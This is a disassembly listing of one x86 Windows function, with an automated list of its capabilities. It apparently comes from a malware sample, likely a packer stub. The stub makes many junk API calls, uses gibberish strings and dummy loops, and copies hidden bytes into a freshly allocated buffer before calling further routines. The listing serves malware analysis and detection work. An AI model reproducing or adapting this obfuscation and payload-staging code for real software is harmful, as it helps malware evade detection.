Function at 0x46ed00
Capabilities:
Get file attributes
Get file size
Get geographical location
Manipulate console buffer
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1464
call fcn.004070e0
mov eax, dword [0x473008]
xor eax, esp
mov dword [esp + 0x1460], eax
mov edx, dword [0x475438]
mov ecx, dword [0x848b0c]
push ebx
push esi
push edi
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
cmp eax, 0x4db
jne 0x46ed44
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x46ed58
mov dword [0x475f10], edi
mov dword [0x475f14], esi
inc eax
cmp eax, 0x1180b56
jl 0x46ed37
mov dword [0x848b0c], ecx
xor esi, esi
cmp esi, 0x55b777
jne 0x46ed7a
mov eax, dword [0x473c58]
mov dword [0x848c3c], eax
cmp ecx, 0x3c
jne 0x46ed8d
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x848b0c]
inc esi
cmp esi, 0x4cd970b6
jl 0x46ed68
mov edi, dword [sym.imp.KERNEL32.dll_SetCommMask]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push 0
push 0
call edi
call ebx
cmp esi, 0x16ea57
jg 0x46edbd
inc esi
cmp esi, 0x9438f3
jl 0x46eda4
mov eax, dword [0x848b0c]
cmp eax, 0x2a
jne 0x46eeac
xor esi, esi
lea ecx, [esp + 0xc]
push ecx
push esi
push str.jisur
push esi
push esi
mov dword [0x848b00], esi
mov dword [0x848b04], esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
xor eax, eax
push esi
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov word [esp + 0x2e], ax
lea eax, [esp + 0x86c]
push eax
push str.lizukuwakuhomagahonasigana
lea ecx, [esp + 0x28]
push ecx
push esi
xor edx, edx
push esi
mov word [esp + 0x34], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push esi
push str.lafumenogujirugir_nemocaxeleyawadetakeciv
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push esi
lea edx, [esp + 0x6c]
push edx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
lea eax, [esp + 0x470]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
push esi
call sub.KERNEL32.dll_Process32First
push esi
push esi
call fcn.004010a3
push esi
call fcn.00401015
push esi
push esi
call fcn.004010a3
push esi
call fcn.00407254
push esi
call fcn.00401015
push esi
call fcn.00401132
add esp, 0x20
push esi
call fcn.004014b2
cmp eax, 0x7c
jne 0x46efaa
xor esi, esi
push esi
push esi
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
lea edx, [esp + 0xc6c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push esi
lea eax, [esp + 0x30]
push eax
push esi
lea ecx, [esp + 0x474]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0x2e
lea edx, [esp + 0x3c]
push esi
push edx
mov dword [esp + 0x40], esi
call fcn.00404900
add esp, 0xc
push esi
lea eax, [esp + 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
push esi
lea ecx, [esp + 0x70]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
xor eax, eax
mov word [esp + 0x12], cx
xor edx, edx
mov word [esp + 0xe], ax
lea ecx, [esp + 0x1c]
push ecx
mov word [esp + 0x10], dx
mov edx, dword [esp + 0x10]
push edx
mov word [esp + 0x18], ax
mov eax, dword [esp + 0x18]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push esi
lea edx, [esp + 0x86c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x848b0c], 0x2d
jne 0x46ef9c
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push esi
call fcn.004011fc
mov eax, dword [0x848b0c]
add esp, 4
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x848b0c]
mov esi, eax
xor ecx, ecx
mov dword [0x848954], esi
test edx, edx
jbe 0x46effc
mov edi, dword [0x848c3c]
mov eax, 0x17bc
jmp 0x46efe0
mov bl, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], bl
cmp edx, 0x8d
jne 0x46eff7
mov dword [0x848958], eax
inc ecx
cmp ecx, edx
jb 0x46efe0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0046ea10
call fcn.0046ec70
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
nop
cmp dword [0x848b0c], 0x41
jne 0x46f040
push str.bubigojadacef
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp esi, 0xd4ed7
jne 0x46f04d
call fcn.0046ea00
cmp dword [0x848b0c], 0xc
jne 0x46f069
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
inc esi
cmp esi, 0x24cd25
jl 0x46f020
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov dword [esp + 0xc], 0x1dfe99
lea esp, [esp]
cmp dword [0x848b0c], 0x7c4
mov dword [0x84895c], 0x8e4e0198
jne 0x46f0d8
push str.zuzisagopapixabawufiganepametema
call esi
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
mov word [esp + 0x14], cx
mov word [esp + 0x16], dx
mov ecx, dword [esp + 0x14]
push ecx
push edx
push edx
push edx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
sub dword [esp + 0xc], 1
jne 0x46f090
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea edx, [esp + 0x34]
push edx
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0x408e
jle 0x46f10e
cmp dword [esp + 0x3c], 0xf5bed7
jne 0x46f117
inc esi
cmp esi, 0x687ed2
jl 0x46f0ed
mov ecx, dword [esp + 0x146c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret